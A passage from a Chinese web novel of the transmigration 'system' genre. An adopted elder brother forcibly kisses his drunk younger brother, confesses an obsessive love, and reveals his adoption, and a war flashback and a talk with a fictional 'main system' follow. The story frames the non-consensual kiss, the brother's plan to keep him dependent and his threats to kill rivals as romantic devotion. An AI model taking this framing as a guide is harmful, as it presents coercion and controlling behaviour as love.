那些被粉饰成兄友弟恭的妄念,不过是被他自己经年累月编造出的自欺欺人,不堪一击的理由罢了。 现在那截莹白的脖颈上印着别人的牙印,他才彻底看清自己这些年攒了多少腌臜念头。 而此刻惹了一群鬣狗觊觎的小孩还无所觉的翘着脚被他困在身前,百无聊赖的膝弯正有一下没一下地轻蹭在他颤抖的腰腹上。 “哥,你到底带我来干嘛啊。”朗月现不老实的用膝盖顶他哥紧绷的腹肌,想把人往外推开些,“我好累,想休息一会儿,别把我困在这,我要去睡觉。”尾音拖长还裹着醉人的酒气,眼尾洇开的绯色像浸了水的玫瑰花瓣。 朗秉白的拇指按在那截印着齿痕的莹白脖颈跳动的血管上,看着自己弟弟依旧是漫不经心不当一回事的散漫模样,妒火刹那间焚穿五脏六腑,疯狂暴戾的欲念已经开始撕扯他摇摇欲坠的心理防线。 他突然笑起来,原来自己早就是条被朗月现拴着铁链的疯狗,还假装能守着骨头过一辈子。 这么多年的光阴给他背德的爱意找到了一个“哥哥”的借口,可现在朗月现都要把他给丢弃了,骨头要被外面的野狗叼走了,他还顾什么人理伦常。 “累?为什么会累?” 朗月现挑起一侧的眉毛,笑容逐渐变淡,他并不喜欢突发状况,预料之外的事会让他觉得很麻烦,而朗秉白现在的状态明显不对。 他眯起眼打量这个陌生的哥哥,从一开始见面便一言不发,但凡张开嘴就是一句怼一句,语气也不似平常那般温和,浑身还控制不住的细细发着颤,像是在极力压制着什么。 若是旁人这般发疯,朗月现早就一巴掌过去了,可对着朗秉白,他终究还是放软了嗓音。 朗月现又扬起一个笑容,醉意还没过去,他脑子还晕乎乎的,说软话时声音也变得含糊:“我喝多了嘛,今晚喝了好多酒,想睡一会儿。” 朗月现长大之后就很少用这种腻腻乎乎的语气说话,此时刻意的撒娇,活像是小时候发烧时往他怀里钻的动静。如果是平时的朗秉白,估计命都要给他了。 可今夜回应他的却是朗秉白骤然压下的阴影。 太近了,冷冽的雪松香气混着朗秉白独有的荷尔蒙气息劈头盖脸砸来,朗月现皱着眉想躲,他本能地后退,可这一微小的动作却仿佛是直接激怒了朗秉白,他一把扯住弟弟撑在台面上的手腕,将人狠狠扯了过来。 腕骨几乎要在哥哥掌中发出脆响,他混沌的醉意终于被疼痛惊醒三分:“你弄疼我了!”却在抬眼的瞬间愣住。 朗月现从未见过兄长这般神情,朗秉白的领带早已扯得松散,向来熨帖的衬衫皱得像被揉碎的宣纸,眸底翻涌的暗潮像是要将他生吞活剥,却又裹着某种令人心悸的痛楚。 “十九年。”朗秉白的声音在发抖,掌心抵着弟弟后颈将人按在浴室沁凉的墙面上,朗秉白将自己身子嵌入朗月现的双腿之间,两个人此刻贴的极近,几乎严丝合缝,少年绷紧的腿根擦过西装裤挺括的面料,朗秉白额角青筋刹那暴起,“十九年了,我每天看着你笑,看着你胡闹,看着你在各种人身边周旋。” “看着那些鬣狗对着我的珍宝垂涎三尺。” 朗秉白抬起手,指尖陷入少年乌黑的发梢,食指勾开浴袍领口,冷淡的玫瑰香混着酒精的气息扑面而来。太近了,近到能蹭到弟弟睫毛上沾着未干的水汽,近到能看清他锁骨红痕旁的小痣。 这颗痣本该只有他知道。 喉结滚动间扯出破碎的喘息,“你根本不知道该怎么保护自己。” 朗月现终于察觉到危险,瞳孔剧烈收缩,哥哥滚烫的吐息灼烧着耳廓,某种可怕的猜想在被酒精凝住的混沌中逐渐清晰。他猛地推搡对方胸膛:“朗秉白你他妈清醒点!我们是…”尾音被暴烈的亲吻碾碎在齿间。 那是个一上来就带着血腥气的吻,朗秉白吻得又狠又急,像是要把这些年所有压抑的爱意全部爆发出来,他根本不像在接吻,倒像要把人生吞下去。 朗秉白几乎是啃咬着他的下唇,他捏住朗月现的下巴,拇指粗暴地撬开牙关,逼着他张开嘴,舌尖蛮横地顶开牙关急迫的去缠他的舌头,另一只手狠狠扣住朗月现的后脑勺,不允许他有一丝后退。 朗月现后脑压着朗秉白的手掌重重磕在瓷砖上,剧烈的震惊让他有一瞬间的呆滞,随即开始疯狂挣动。可朗秉白钳制住他的手掌像焊死的铁箍,越是挣扎就越被往滚烫的胸膛里按。 后脑勺被铁钳似的手掌固定着,下巴也被掐得生疼,他抬脚去踹对方膝盖,反而被挤进两腿之间。 “唔!……” 朗月现刚张开嘴想骂人,滑腻的舌头就再次顶了进来,发狠地扫过上颚,激得他腰眼发麻,吞咽不及的唾液不断从嘴角溢出。 朗秉白突然松开钳制弟弟下巴的手,转而掐住他细腰。朗月现眯起眼睛,看到哥哥暴起青筋的脖颈,紧紧贴合的身躯传来不正常的高热,箍在腰上的手臂勒得他肋骨发疼。 当他试图偏头躲避,立刻被追过来的唇舌堵得更深,湿漉漉的水声在浴室回荡。混乱中他尝到越来越重的铁锈味,不知是谁咬破了谁的嘴唇。 朗秉白尝到血腥味才惊觉被弟弟咬破了嘴唇,这个认知让他浑身发抖。怀中的躯体温暖鲜活,那是他用十九年光阴,血肉和所有的爱浇灌出的玫瑰。 原来这背德的果实尝起来是这种滋味,混着自我厌弃的甜腥,比想象中更令人战栗着迷。 湿润的唇瓣再次碾上来时带着浓郁的血腥气,朗秉白终于在鲜血中恢复了理智,却并没有舍得离开朗月现被他吻的温热的唇瓣,只是将激烈粗暴的撕咬转成了安抚性的吮吸。 朗月现完全被当下发生的事情冲昏了头脑,本来就醉醺醺的现在更是陷入了混乱,他甚至觉得眼下是不是自己喝醉了睡过去后,做的一场过于荒诞的梦境。 而唇上被咬的隐隐发烫的触感清晰的告诉他,这明显不是梦。朗月现被朗秉白气的眼前发黑,西装布料摩擦着裸露的膝盖,朗月现屈起的腿被压得发麻。 在朗秉白动作轻缓下来之后他终于在两人之间挣开半分空隙,抬起腿狠狠一脚,直接将全身心陷入痴迷的朗秉白踹飞了出去。 两人纠缠的太厉害,浴袍的腰带不知何时散开,被扯得七零八落,朗月现大敞着领口,喘着气抹了把刺痛的下唇,指尖沾着血丝:“朗秉白你疯了吗?我是你亲弟.…” “你不是。” 大理石台面泛起森然寒意,朗秉白借力撑着台面缓缓起身,喉结滚动着咽下血沫。 他慢慢地用袖口擦过唇角,再抬眼时又是那个端方持重的兄长模样。唯有那些被扯歪的衬衫领口、皱得不成样子的衬衫下摆,泄露了方才的疯狂,在两人之间扭曲成荒唐的倒影。 朗秉白抬起眼直视着朗月现,这个秘密在心口蛰伏了二十八年,此刻顺着尚且残留着弟弟温度的唇角蔓延开的血腥气破茧而出时,他竟尝到解脱的甘美。 朗家为了让他成为名正言顺的朗家长子,守护了这么多年的秘密,朗父这么多年的心血和期望,他们两个人花了这么多年精心构筑的伦理高墙,终究抵不过朗秉白内心对于朗月现再也无法克制的汹涌情欲。 所有的一切,都要为了他的私心让步。 朗月现满腔的怒火都因为这句话凝固住了,他愣在原地。 朗月现从未在朗秉白脸上见过这样的神情,他看不出哥哥眼睛里有任何的玩笑,那素日沉稳克制脸上,有的只是满满的怅然和经年的隐痛。 第四十二章 要是我就想找别人睡呢? 20xx年5月7日, 中东地区卡维拉共和国阿达尔山脉。 代号“铁砧行动”的国际联合反恐作战已进入第四个月潜伏期,中国陆军“雾锁”特战队正蛰伏于山岩之间。这支王牌部队的任务,是摧毁极端组织深藏山脉的化学武器库。 夜视仪泛着幽绿冷光, 被称为史上最年轻有为的特战队长,25岁的朗延明紧盯着半山腰混凝土工事的轮廓。耳机突然传来沙沙电流声:“GPS被干扰了, 给我三分钟重新标定。” 这个总把全家福塞在防弹夹板里的通信专家,李宿松的沙哑声线里带着惯常的轻快,此刻正趴在两公里外的观察点。 朗延明记得三天前在搜寻到恐怖分子武器仓库集中营后,特战队第一时间开始紧急召开下一步计划。 当时作战会议结束后,李宿松特意留下,坐在愁眉不展的朗延明身边, 指着照片里举着变形金刚玩具的小男孩说:“等阿白六岁生日,我要带他亲眼去看变形金刚。” 紧接着就被朗延明一巴掌呼到头上, 战术帽都被呼歪了:“兔崽子,谁教你在战前说这种晦气话!快呸掉!” 李宿松坚决不愿意呸:“队长,我发现你这人,顶迷信了, 老子就是要带儿子去看变形金刚,谁说也不好使。” 给朗延明气的直接给人一脚,让赶紧从他帐篷里滚出去,别待在这气他了。 朗延明其实也明白,李宿松是看他对三天后过于仓促的行动没有信心,故意留下来玩笑耍宝,为了开解自己队长,给他逗乐的。 帐篷外的夜色浓得化不开,朗延明咬着烟蒂望向雾霭中模糊的月轮。李宿松不知何时又凑过来,笑得像只狡黠的狐狸。 朗延明看他一眼:“能不能滚。” 李宿松笑的弯腰, 拉扯着朗延明非得让他坐下陪自己看月亮。 “说真的,老大,人总得有个念想。” “有念想才能活,你看我,要是没有阿白,我早就死了。”李宿松摩挲着胸前的防弹夹板,指指自己鼻子,“活死人见过没,就行尸走肉那电影。” 朗延明点点头:“电影没看过,不过戚玲跟你离婚那阵,我确实见过。” “……”李宿松白他一眼,生了他队长三秒钟的气,又接着说:“我不怪她,我这个职业,她能跟我这么多年,还给我生了阿白,我知足。” “她去寻找自己的幸福,* 跟假洋鬼子拿着绿本出去过向往的生活了,我应该祝福人家。” 朗延明沉默一瞬,大发慈悲的将眼睛从月亮上挪开,拍了拍战友的肩:“想哭就哭。” 下一秒李宿松“嗷”一嗓子就把头砸在朗延明肩膀上开始干嚎,朗延明让他别光打雷不下雨,李宿松便不好意思的停了下来。 两人安静的看了一会儿月亮,李宿松又开口:“任务那天,让我去前线。” 朗延明想都没想:“不可能。” 李宿松就笑了:“老大,总要有人去的。” “我说了我去。” “你去不了,你去了没人指挥了,你是队长啊。” “你还知道我是队长?”朗延明又要打李宿松的脑袋,被他“哎呦”连声叫着佯装躲开。 两人又是一阵沉默。 “说真的,”李宿松正色道,他声音很好听,低沉,不疾不徐,缓缓而谈。只是平日里说话老是不着调,也没人知道他正经说话其实是这副模样:“心思太重了,很累的,老大。” 朗延明从烟盒里又磕出一根烟,点上,也不抽,由着它明明灭灭。 “我知道这次情报来的太急,不一定准确,所以你不想让大家去冒险,但是上面已经等不了了。”说起三天后派谁去前线探路,李宿松掰着手指头,把特战队的队员们挨个算给朗延明听。 朗延明听了半天,总算是听出来了,谁都不合适,就他李宿松能去。 朗延明懒得跟他多废话,一把按倒他,从他怀里掏出那张他显摆了一万次的照片,在他眼前晃:“看到了吗,这是什么?这是你儿子,你不要命,还不要你儿子吗?” 李宿松突然就静下来了,也不挣扎了,由着朗延明拿着照片放在他面前,月光掠过照片上稚嫩的笑脸,李宿松眼神蓦地柔软,看了一会儿就看乐了:“我儿子真帅,随我。” 朗秉白也笑了,给他把照片又塞进兜里:“老实点吧,小兔崽子。” 李宿松乐不可支,抱着照片躺在地上翻了个身,怀抱里紧紧搂着那张照片。 然后呢? 朗延明说他也记不清了。 他总是说到这儿就不想再说下去了。 后来从战场记录仪中得知,那场过于仓促的反恐行动情报的确有误,锁定的不是化武仓库,而是敌人的指挥所。 而中国特战队伍派去的前线人员在第一时间极其冷静且专业的在频道中汇报了所有敌方具体信息,并在发现情报出错后故意暴露位置吸引火力,给上方的反恐部队武装直升机进行人肉定位。 当朗延明带队冲进被炸塌的指挥所,在文件柜里找到化学武器地点分布图时,李宿松的单兵电台已经整整沉默了四十三分钟。 医护兵从废墟里挖出半截烧焦的战术平板,锁屏画面父子俩的笑容刺得人眼眶生疼。 朗延明指挥得当,一举拿下了敌人的指挥所,找到了化学武器分布地点,接连迅速剿灭恐怖分子大本营,伤亡极少,“铁砧行动”大获全胜。 那场战役死的只有他的通信专家。 庆功宴在联合司令部举行那天,法国将军给朗延明别上代表着联邦军事中等级最高的军事奖章。授勋词里称赞他“果断更改作战方案”“最优秀的特战队长”“守护了联合国众多民众的英雄”,并邀请他成为国际反恐协作组中方代表。 银星勋章压得军装发沉,年轻的队长在镁光灯下慢慢低语。站在他身边的队员清清楚楚的听到自己刚刚被称作“国家英雄”的队长对着联合国众要员,用中文说了一句非常大逆不道的话。 “还不如你们都死了,换他回来。” 朗延明回国后功绩卓著,光荣退役,拒绝了国家给的直通政治中心的核心干部职位,接手了妻子家的企业,毅然决然下海经商。 多年之后,已成为国安部长的“雾锁”战队的老战友同他在家里聚餐,两个人喝了不少,不由自主的开始聊起往事。 老战友也是喝多了,胆子大起来,开始跟朗延明聊起他从不愿与人提起的,二十年前的那场反恐行动。 “李宿松阵亡前最后通话是加密频道三级权限内容,我听到了。” 朗延明躺在庭院躺椅间,指间雪茄明灭一如当年烟头。 “我以为这家伙最后的话会不断念叨他儿子,没想到,竟然是对着你认错。” “李宿松说,他知道,如果他不去,一定是你去。” “他不想让你死。” “他说他太胆小了,他说接受不了再失去重要的人,他希望你原谅他,做出这个任性的决定。” 老战友仰头将杯中酒一饮而尽,也后靠在躺椅上:“那么你原谅他了吗,老大。” 夜雾不知何时散去,清冷月华倾泻在他已然开始霜白的鬓角。朗延明没接话,他闭着眼睛,好像睡着了。 “是我这个队长不称职,咱们雾锁这么多年,也就出了这么一个傻子,我还没护好。” 过了好半天,朗延明才睁开眼睛,伸手指了指天空。 “你看,雾散了,月亮就出现了。” “该原谅的……”他望着天际渐晰的月光,“是没教会那混蛋,活人才能看月亮。” —— 朗秉白说完最后一个字时手指还在发抖。他跪坐在地毯上,抬头望向对面陷在沙发里的弟弟。 朗月现已经整理好松散凌乱的浴袍,膝盖抵着茶几边缘,安静的听完了他所有的话,睫毛都没颤动分毫,像尊冷硬的雕像。 朗秉白喉咙发紧,看着弟弟死水般的沉默,心跳快的几乎要冲出喉咙。 “我生父和父亲在军校就是朋友,毕业后他先是当了父亲的警卫员,后来又因为专长被调去当通讯兵。”冰桶里最后一块方冰正在融化,朗秉白盯着那点闪烁的水光,“最后一次见他是我六岁的时候,从那以后,父亲就把我带在身边了。” 他的指尖无意识摩挲地毯纹路:“我们的父亲是个非常称职的父亲,对我非常好,好到让我觉得亏欠。”朗秉白声音突然低下去,“但是我对朗家一直没有归属感,刚来到朗家的那几年,我甚至不怎么开口说话。” “直到你出生。” 朗秉白甚至要比朗父还要提前抱到朗月现,九岁的少年浑身绷的笔直,像块僵直的木板,任由朗太太将襁褓放进他的臂弯,手脚都不知道怎么放,唯恐伤了他。 怀里的小娃娃裹在淡蓝绒布里,小拳头软软抵着他的胸口,他连呼吸都屏住了,生怕惊着这个脆弱的小生命。 这个崭新的存在会毫无芥蒂地接纳他。那时候他就知道,这个与往事毫无瓜葛的小生命,会成为他扎根朗家唯一的土壤。 朗秉白作为战友托孤的孩子,无论朗父对他有多好,他心里始终有一道坎。可朗月现不同,从睁开眼就把他当真正的哥哥。这些年来,朗秉白将自己全部感情都投注在朗月现的身上。 只是不知道从哪天起,这份感情开始变得如此偏执。 朗月现依旧沉默,他正在用拇指反复摩挲威士忌杯壁上的水珠,仿佛那是件需要精密擦拭的仪器。 他很难形容内心的感受,胸膛里像是塞了团带电的云,劈啪作响的闷雷震得他头晕目眩。视线失焦地飘着,突然定在朗秉白卷起的袖口处。 那里有几道比肤色更浅的浅色疤痕。 腕口那几道浅疤是之前为了给自己道歉,做蛋糕时不小心划伤的。靠近肘关节处还有一道更深的白色疤痕,那道月牙形的伤疤却在此刻刺得他心头一跳。 对于这道伤疤,朗月现印象很深刻。十二岁那年过生日发烧,身体不舒服就忍不住闹脾气,烧得双颊通红的朗月现任性地把母亲特地给他做的草莓蛋糕推得老远,非要吃城南那家老字号现烤的红茶栗子蛋糕。 蛋糕店几乎位于首都的另一边,外面正下着大雪,路上到处都在堵车,一来一回不知道得多久。朗父刚板起脸想训他不懂事,转头发现朗秉白已经穿好衣服出门了。 那天朗秉白开车来回跨了三个区,回程时却被大雪封了路,朗秉白的车被困在离家两公里的路口,他把车停在原地,自己拎着蛋糕深一脚浅一脚往回赶。 结果雪天路太滑,他不小心一个踉跄,条件反射伸手往旁边一扶,胳膊擦在了路边护栏上,刮了很长一道口子,可手上拎着的蛋糕盒连歪都没歪一下。 朗秉白不让家里人跟朗月现说,可朗月现还是知道了。 半夜退烧药起效时,他迷迷糊糊感觉有人轻手轻脚来掖被角,摸到绷带时眼泪突然决堤。 小孩委屈巴巴的缩在被子里,眼睛哭的通红,看见朗秉白就往怀里钻,搂着腰在哥哥衣服上擦眼泪。 给朗秉白心疼的不知道怎么办才好,手足无措地温声说着好话。受伤的人反倒抱着他哄了大半宿,任由他攥着手指睡到天亮。 朗月现从小到大一直觉得,朗秉白是全世界最称职的哥哥。 可那个他记忆中最好的哥哥,此刻领口处那道被指甲抓破的痕迹,是刚才强吻他时自己留下的。 朗月现突然捏碎了杯中的冰块,碎冰渣深深刺进掌心。 “说话。” 朗秉白的声音终于裂开条缝,他被朗月现的沉默快逼疯了,再也维持不住平静:“骂我畜生,告到父亲那里,找人打断我的腿都行。” 朗秉白往朗月现的方向膝行着往前蹭,衬衫顺着动作绷出宽阔背肌的轮廓,他伸出手想去触碰弟弟的膝盖:“别这么……” 朗月现猛地踹翻了茶几,冰桶连带着茶几上的威士忌红酒全部滚到了地毯上,融化的冰水瞬间在地面上洇出深色痕迹。 他站起身带起一阵威士忌冷冽辛辣的味道,侧脸笼着寒霜,看都没看朗秉白一眼,头也不回地往外走。 朗秉白踉跄着从地面上爬起来,跌跌撞撞扑上去,从后面一把将弟弟紧紧搂在自己怀里。 他一直知道朗月现是个多么冷情的人,如果自己不是朗秉白,不是仗着这层血缘,朗月现甚至连解释的机会都不会给他。 他太清楚弟弟的性子,看到朗月现此刻决绝冰冷的神情,如果放朗月现走掉,这辈子恐怕他都不会再看自己一眼了。 朗秉白冷汗一下就浸透了衣衫,他怕极了,发狠箍住那截劲瘦腰身,语无伦次,浑身颤抖:“不……小月……哥求你,跟哥说说话……别走,别走……” “放手。”朗月现声音像淬了冰。 箍在腰间的手臂反而又收紧几分,身后人抖得厉害,温热的鼻息喷在他的后颈,“别走,哥求你说句话……” “你说,会永远保护我,站在我身后。” 朗秉白把头埋进朗月现颈窝里,嗅到冷淡的玫瑰花混着橙花的香味,听着朗月现很轻的冷笑:“你现在告诉我,那些关心都是处心积虑?” 朗月现偏头露出漂亮的下颌线,长睫在眼下投出阴霾:“那过去的十九年算什么?你他妈当我是什么?朗秉白,你耍我玩呢?” 后背传来急促的摇头,朗秉白的高挺鼻梁硌得他肩胛骨生疼,布料摩擦声里混着几声哽咽:“不是……你是我的全部……” 朗秉白一味摇头,哪是什么爱情能说清,朗月现早成了他活着的全部意义。 朗月现是他所有感情的集合体,他把所有的一切都尽数倾注在朗月现身上,弟弟的任何一举一动都能牵扯住他的所有情绪。 他本来也以为自己能守住哥哥的位置,可当他目睹了朗月现和其他人颓靡欢好的场景后,这才意识到自己根本做不到。 朗秉白的声音轻的能被呼吸吹散:“我忍不了……” 每当朗月现用那双漂亮的眼睛看向他时,眼尾微翘着漾开独属于他的温柔,就仿佛全世界中,朗月现只有看向他时,才会露出这么让人心动的神情。 朗秉白每次接收到那种目光,他都幸福极了。他贪恋着弟弟对他独有的态度,却不知他得用多大力气才能压住眼底翻涌的欲念,克制住想亲吻那抹嫣红的冲动。 此刻那截白皙后颈近在咫尺,朗秉白借着搂抱的动作,将嘴唇轻轻贴上去,在他的颈侧轻拱,指尖无意识摩挲弟弟腰侧:“那些觊觎你的人,我甚至想把他们都杀了。” 朗月现能够如此依赖他,是因为朗秉白日复一日,年复一年,无微不至的贴心照顾,从小到大都是亲自照料朗月现的所有大小事情,事事替人打点周全。 让朗月现对自己体贴入微的行为从潜意识中觉得习以为常,逐渐习惯于哥哥会为他打点好一切,心安理得地享受着哥哥的全身心照顾。 如果朗月现终有一天要跳出他的怀抱,一定会发现外面的风雨竟是如此凌冽而残酷,他便会再次回到哥哥的怀抱,永远永远,一辈子都离不开他。 朗秉白突然觉得好恨,他做了这么多谋划,爱了朗月现这么多年,他只是想这辈子短暂的几十年能和弟弟永远在一起,可总有一些混账却妄想摘走他精心浇灌的玫瑰。 朗秉白突然掰过他下巴,眼底烧着晦暗不明的暗火:“你不能不要我……哥的命都在你手里。” 朗月现猛地张口咬住朗秉白虎口的瞬间,温热的吻同时郑重地落在他额头。 血珠顺着牙印渗出来,朗秉白却像感觉不到疼似的,反而把手指往他齿间送了送。 “我要你看着我,”朗秉白由着弟弟将自己的手咬的鲜血淋漓,眼神却越发柔和,“你想对我做什么都可以,要喝酒要撒气都冲我来,外头那些脏东西碰你一个指头都不行。” 朗月现松开他的手,唇上还沾着他手上的血渍,听了他的话,皱着眉抬眼看过去,朗秉白却像被什么击中了一样,嘴里喃喃道:“脏了……哥帮你弄干净。” 闷哼声被撞碎在彼此齿间,朗秉白反手扣住他后脑加深了这个吻,袖口早被血浸透,正顺着往下淌。这个吻比之前更凶,带着铁腥味和某种濒死的绝望,直到朗月现咬破他的舌尖。 朗月现揪着他的头发往后扯,简直要被气笑了,舔了舔带着血渍的虎牙。 “要是我就想找别人睡呢?” 皮带扣“咔哒”弹开的声响里,朗秉白抓着他的手往自己腰带上按,手指哆嗦得解不开金属扣:“用我……哥什么姿势都能……” 朗月现脸上的表情一下子消失了,他仰头看着在记忆中永远都需要抬头仰望的高大男人,对方绷紧的肱二头肌在衬衫下隆起夸张的弧度,泛红的眼眶里此刻正翻涌着赤/裸的欲/望,哪里还有半点平日里西装革履的沉稳模样。 他这时才彻底看清,朗秉白是真的没有把他当做兄弟。 那眼神简直像是要吃了他,什么沉稳持重,什么绅士成熟,都他妈是假的。 朗月现一把甩开他的手,像甩掉什么脏东西,他眼睛眯成危险的弧度,冷冷嗤笑道:“你看看你现在像什么样子。”指尖戳上朗秉白剧烈起伏的胸膛,衬衫早被他的冷汗浸透,“就像条发情的野狗!” “我知道。”朗秉白抵着他额头笑,嘴角流出的血滴在弟弟雪白的浴袍上,指尖抚过少年挺直的脊背,“只要你需要,朗秉白可以是哥哥,是盾牌,是踏脚石。” “也可以是你的狗。” “那就把我当条狗吧,”朗秉白嘴唇贴着朗月现突突跳动的颈动脉呢喃:“让我去咬那些围着你转的……” 被猛地推开时,膝盖撞上翻倒的茶几尖锐的棱角,朗秉白毫不在意,扑上去拽人手腕,在他再次握住朗月现手腕的那一刻,一个巴掌狠狠打在了他的脸上。 那是朗月现第一次对朗秉白动手,微凉的巴掌落在脸上时还带着威士忌残留的醇香,朗秉白捂住脸,怔怔的看着弟弟。 朗月现此刻看着他的眼神,是朗秉白这么多年从未在弟弟眼中看到过的眼神,就像在看以往任何一个胆敢觊觎他的肮脏家伙。 “发情也要看主人心情。”朗月现甩了甩发麻的手,唇边勾着的笑轻蔑又戏谑,指尖狠狠按在朗秉白被打得渗血的嘴角:“再敢伸出你那个脏爪子,我就弄死你。” 第四十三章 你们老大想抢你饭碗 云蔚酒店在临近午夜十二点之际, 将所有客人请到了顶层的宴会厅。 宴会厅依旧是富丽堂皇的模样,水晶酒杯碰撞的脆响混着钢琴声,八层高的黑丝绒草莓蛋糕立在香槟塔旁。 客人们刚举起酒杯, 却发现吊灯忽然暗了下来,晚风略过露台, 大家听见头顶传来齿轮转动的轻响。仰头望去,穹顶的玻璃天幕正像花瓣般层层绽开,露出午夜深紫色的天空。 众人还不知发生了什么,刹那间第一朵金红色烟花恰好在头顶炸开,碎金似的火星几乎要落在人们睫毛上。 在惊呼声中,人们纷纷涌向落地窗, 侍应生端着托盘在人群缝隙中穿梭,香槟杯中的气泡如同绚丽的烟花沿着杯壁簌簌上升。 烟花最盛时, 整个首都的夜空都被照亮,整个天空像打翻了珠宝匣子,翡翠绿的流火拖着长尾略过云蔚酒店的大楼,蓝紫色的光球在云层中绽成满天星斗, 烟花瀑布在众人头顶上倾泻而下。 在朗月现生日的这夜,所有人在夜风中看到了一场极其绚丽盛大的烟花秀。 某朵玫瑰金烟花炸开的瞬间,红裙女孩突然撞了下旁边人的胳膊:“哎?你看见朗哥了吗?” 旁边的人闻言转头向四周看了看,正看见云蔚酒店的老总捂着手机弓着腰满脸堆笑,不知道在说些什么,看似有些急迫,后颈的不断留下的汗珠在烟花的照耀下泛着七彩的微光。几位侍应生也拿着对讲机各处转悠,还在满场找人。 十二点整,一道银河般的银白色烟花从云层中倾泄而下,在坠落前突然爆裂成无数跳动的光点, 这些光点组成了一串生日快乐的英文花体字。夜风中漂浮着硝烟与浓郁的花香,让人恍惚中像是跌落进了玫瑰花海中。 直到最后一簇烟花在云层里熄灭,人们终于发现,这场盛大宴会的主人竟然早已不见了。 —— C大宿舍楼天台上,朗月现拎着从便利店买的冰镇啤酒,依靠在栏杆上,他漫不经心地眯着眼,俊美鲜明的轮廓浸透在夜色里,中和了几分过于锋利的美貌,显出几分凉薄的距离感。 远处天空中炸开的烟花落进他琉璃珠似的透亮眼睛里,晃出五光十色的碎影。他静静站着,周身满满的疏离感仿佛与整个世界隔离开来。 “宿主……”系统的声音突然弱弱响起,“虽然你现在可能不想听,但是那个……咱第三节点的积分到账了。” 朗月现扯了扯嘴角,勾起一个嘲讽的笑意,易拉罐被捏得轻微变形:“你们老大这次倒是反应很快,是因为发现我哥居然喜欢上我了?” 系统在脑海中抖了抖,不敢接话了。 它到现在都没法消化刚才看到的画面,整个统都傻掉了。 系统第一眼看见还以为是宿主喝下去的酒精已经影响到自己的数据海了。原书里本该爱上主角受的主角攻之一,死死抱着反派死活不撒手,乞求着要当他的狗。 这人设崩得连它这个见多识广的统都CPU发烫,更别说被哥哥疯狂示爱的宿主了。 那可是宿主的哥哥啊,即使不是亲生的,怎么说也是当了二十年哥哥的人。这没法劝,感觉说什么都很难被开解。 “那个……要不要我再兑点夹心草莓糖?我前两天还看见新出的竟然有酒心款……”系统正手忙脚乱翻着商城,突然被朗月现打断。 “叫你们老大来。” 系统瞬间卡壳。全维度主系统那庞大到看不见边际的数据海里,每分每秒都有上亿条信息在流动,它这种基层小系统平时连主控室的门框都摸不着。 可看着宿主被夜风吹得泛红的眼尾,系统一咬牙刚要硬着头皮去闯一个试试,整个系统突然“滋啦”一声。 就像初次进入世界剧情那天的强制接管,所有数据流瞬间凝固。 “你找我?” 一道低沉冰冷的男性声音突然插了进来,取代了系统那奶声奶气的稚嫩声音。 朗月现挑眉,颇有些吃惊,没想到自家蠢系统还真能把这位请来。 “解释。”朗月现也不多废话,晃荡着快要见底的易拉罐:“现在这算怎么回事?” 主系统沉默了一瞬,回道:“主角人格发生重大变化,但世界线完整度没有过多偏离,该维度世界意志并未发现任何异常。” “完整度?”朗月现气笑了:“我哥现在满脑子怎么跟我□□,你跟我说完整?你们那破小说里可没这段!” “检测到该主角行为并未触发世界意志的审查机制,维度系统应当尊重主角人格完整。” 男人的声音毫无波澜:“情感模块偏差不影响任务进程。相反,朗秉白的转变让你的存活率提升了很多。” 啤酒罐“哐当”砸向铁栏杆。朗月现撑着栏杆的手背青筋暴起,夜风把他的额发吹得凌乱,卷着碎发扫过发红的眼尾。 他比谁都清楚,朗秉白的转变对自己摆脱原书必死结局能起到关键作用。但是他从情感上实在是接受不了,陪伴了自己十九年的哥哥突然爱上了自己。 朗月现知道自己本质是个多冷漠的人,唯一能让自己产生感情的也只有自己为数不多的家人,仅剩的温情全给了家人。结果最依赖的哥哥却在今天红着眼告诉他,他已经爱了他许多年。 朗月现甚至不想管什么所谓的狗屁剧情,什么必死的结局,他只想找回那个会摸着他的头说“哥在”的朗秉白,他想让记忆中的那个哥哥回来。 可最终还是理智占据了上风,朗月现沉默半响,仰起头将啤酒一饮而尽,冰凉的液体滑过喉咙,到底压住了冲到嘴边的脏话。 朗月现望着远处未散的烟花残影,弯腰从地上又拿了一罐新的啤酒打开。冰凉的泡沫涌上来时,他忽然想起那天晚上,系统告诉自己前两次的节点积分全部到账时,自己一直没想明白,究竟是改变了什么关键点,能在世界意志都觉察不到的情况下,还能成功改变剧情的关键核心。 此时此刻他隐约有些明白过来了,朗月现屈指敲了敲发烫的太阳穴:“我的意识觉醒,到底改变了什么?” 主系统低沉的磁性声音在他脑海中震了一下:“据我的数据海检测,在主维度投放系统至小世界的那天,所有主角的意志,全部脱离的原书世界意志的掌控。” 朗月现露出个果然如此的冷笑,他第一次还是怀疑这件事,还是在与盛衍第一次相遇的时候。 这个原书中温润如玉的完美男神,世界意识爱的中心,实际是个无比厌恶着这个世界,善于伪装的恶劣家伙。 他当时就觉得很奇怪,本以为盛衍那种厌世冷漠的性格是触发了原书中什么隐藏剧情,结果是因为拥有了自己的独立意志。 原来系统的到来竟然使他们所有主角都脱离了控制,拥有了自己的意识,可以按照自己真正所想要的去度过完整的人生,不被世界意志所操控。 所以说,朗秉白那些疯话不是剧情bug,对他的爱也是完全处于本心。想起这件糟心事,朗月现就烦躁地的按了按眉心。 “但世界意志会不择手段修补剧情。”主系统突然又开口补充道:“主角虽然觉醒了自己的意识,但那些并非受到系统唤醒的额外觉醒者,除了思想,在其他方面仍会受到世界意识的规则操控。世界意志会用任何手段修正剧情,所以你还是要小心。” 朗月现轻轻点了点头,表示他知道了,主系统却话锋一转,继续说道:“需要我接管系统权限吗?” “代替原系统进入你的脑海,我可以帮你开启全部权限,包括所有你需要的道具库和绝不会出错的完美攻略路线。” 朗月现:“?” 低沉的男声在脑海中共振,朗月现差点被啤酒呛到。他搓了搓发麻的耳垂,脑海中闪过自家系统哼唧唧撒娇耍宝,给自己兑糖果的模样,和现在这个冷冰冰,说话声音让他幻视自己哥哥的磁性男声重叠在一起,莫名起了一身鸡皮疙瘩。 于是朗月现果断拒绝了主系统突如其来的好意:“不用了,让小东西回来吧,我该问的都问完了。” 空气突然安静得能听见远处宿舍楼的喧闹,主系统陷入了更长时间的沉默。 就在朗月现以为对方掉线时,刚想问问小东西回来了吗,主系统又突然出声,再开口时朗月现甚至奇妙的从他那冷硬的声音中听出些别样的情绪:“嗯,有需要随时找我。” 朗月现微微勾唇,露出一个简直令人目眩的笑容,口中随意答应着:“昂,好。” 主系统突然卡壳似的:“……我走了。” 朗月现:“?” 